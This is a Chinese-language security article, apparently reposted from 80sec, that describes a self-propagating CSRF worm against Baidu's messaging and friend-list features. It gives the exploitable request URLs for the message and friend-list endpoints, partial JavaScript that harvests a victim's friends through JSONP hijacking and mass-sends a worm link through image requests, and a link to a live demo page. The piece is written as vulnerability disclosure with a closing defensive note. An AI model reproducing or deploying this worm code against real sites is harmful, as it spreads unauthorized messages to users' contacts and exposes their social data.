百度Hi Csrf蠕蟲攻擊
發表時間:2023-08-01 來源:明輝站整理相關軟件相關文章人氣:
[摘要]漏洞起因:百度是國內最大的中文搜索引擎。同時百度也提供了百度空間、百度貼吧等BLOG社區服務,擁有海量的用戶群,號稱全球最大中文社區。80sec 發現過百度產品一系列的安全漏洞,其中一些問題得到了有...
漏洞起因:百度是國內最大的中文搜索引擎。同時百度也提供了百度空間、百度貼吧等BLOG社區服務,擁有海量的用戶群,號稱全球最大中文社區。80sec 發現過百度產品一系列的安全漏洞,其中一些問題得到了有效的修補,但是百度的產品仍然存在很多嚴重的安全漏洞,利用這些漏洞黑客可以制作Web蠕蟲,影響 百度所有的用戶。
CSRF worm技術分析:
一. 百度用戶中心短消息功能存在CSRF漏洞
百度用戶中心短消息功能和百度空間、百度貼吧等產品相互關聯,用戶可以給指定百度ID用戶發送短消息,在百度空間用互為好友的情況下,發送短消息 將沒有任何限制,同時由于百度程序員在實現短消息功能時使用了$_REQUEST類變量傳參,給黑客利用CSRF漏洞進行攻擊提供了很大的方便。百度用戶 中心短消息功能的請求參數能夠被完全預測,只需要指定sn參數為發送消息的用戶,co參數為消息內容,就可以成功發送短消息,如下:
http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用戶賬號&co=消息內容
該漏洞在07年被應用于80SEC測試的百度XSS WORM中,至今尚未修補。
二. 百度空間好友json數據泄露問題
百度空間的好友功能數據是使用json格式實現的,此接口沒有做任何的安全限制,只需將un參數設定為任意用戶賬號,就可以獲得指定用戶的百度好友數據,如下
http://frd.baidu.com/?ct=28&un=用戶賬號&cm=FriList&tn=bmABCFriList&callback=gotfriends
該漏洞可以直接被Javascript劫持技術利用,獲取用戶的好友信息.
三. 百度認證問題
web攻擊不可避免地依賴于系統的認證,而在百度的認證系統里,所有認證基于SESSION,這樣在IE里就不會被IE的隱私策略阻止,會話認證信息每次都會被發送出去,為我們蠕蟲的傳播提供了必要的條件。
四. CSRF JavaScript_Hijacking Session Auth= CSRF worm
CSRF攻擊結合Javascript劫持技術完全可以實現CSRF worm,百度產品的這兩個安全問題為實現Web蠕蟲提供了所有的條件,80Sec團隊已經編寫出一只完整的百度csrf蠕蟲,這是一只完全由客戶端腳本 實現的CSRF蠕蟲,這只蠕蟲實際上只有一條鏈接,受害者點擊這條鏈接后,將會自動把這條鏈接通過短消息功能傳給受害者所有的好友,因為百度用戶基數很 大,所以蠕蟲的傳播速度將會呈幾何級成長,下面對csrf蠕蟲部分代碼進行分析:
1. 模擬服務端取得request的參數
var lsURL=window.location.href;
loU = lsURL.split(”?”);
if (loU.length>1)
{
var loallPm = loU[1].split(”&”);
省略…………….
定義蠕蟲頁面服務器地址,取得?和&符號后的字符串,從URL中提取得感染蠕蟲的用戶名和感染蠕蟲者的好友用戶名。
2. 好友json數據的動態獲取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i )
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’ lusername ’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″></script>’);
通過CSRF漏洞從遠程加載受害者的好友json數據,根據該接口的json數據格式,提取好友數據為蠕蟲的傳播流程做準備。
3. 感染信息輸出和消息發送的核心部分
evilurl=url ”/wish.php?from=” lusername ”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i ){
省略…………….
mysendmsg=mysendmsg ”&” i;
eval(’x' i ’=new Image();x’ i ’.src=unescape(”‘ mysendmsg ’”);’);
省略…………….
整個蠕蟲最核心的部分,按照蠕蟲感染的邏輯,將感染者用戶名和需要傳播的好友用戶名放到蠕蟲鏈接內,最后輸出短消息內容,使用一個FOR循環結構歷遍所有好友數據,通過圖片文件請求向所有的好友發送感染鏈接信息。
4. 注意細節
由于需要動態加載json數據運行,所以必須注意各個函數執行的先后順序,否則json數據還未加載完畢,蠕蟲核心部分的流程將跑不起來。
5. CSRF Worm DEMO頁
這里我們提供了一個百度CSRF Worm DEMO頁僅供大家進行安全測試,非安全測試的其他行為,80SEC將不負任何責任。測試方法:
將to參數設置為自己的用戶名,登陸百度后點擊鏈接或直接進入頁面
http://www.80sec.com/wish.php?to=自己的百度用戶名
五 CSRF worm安全提醒:
除開百度,國內的社區類、Web2.0類網站如校內網、Myspace、飯否等都存在這類安全問題,黑客可以直接通過CSRF攻擊配合各種功能應 用針對網站進行CSRF worm攻擊,網站可以參考http://www.80sec.com/csrf-securit.html文檔中的安全提醒做進一步的防范。
百度Hi Csrf蠕蟲攻擊:http://www.80sec.com/baidu-hi-scrf-worm-attac.html
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。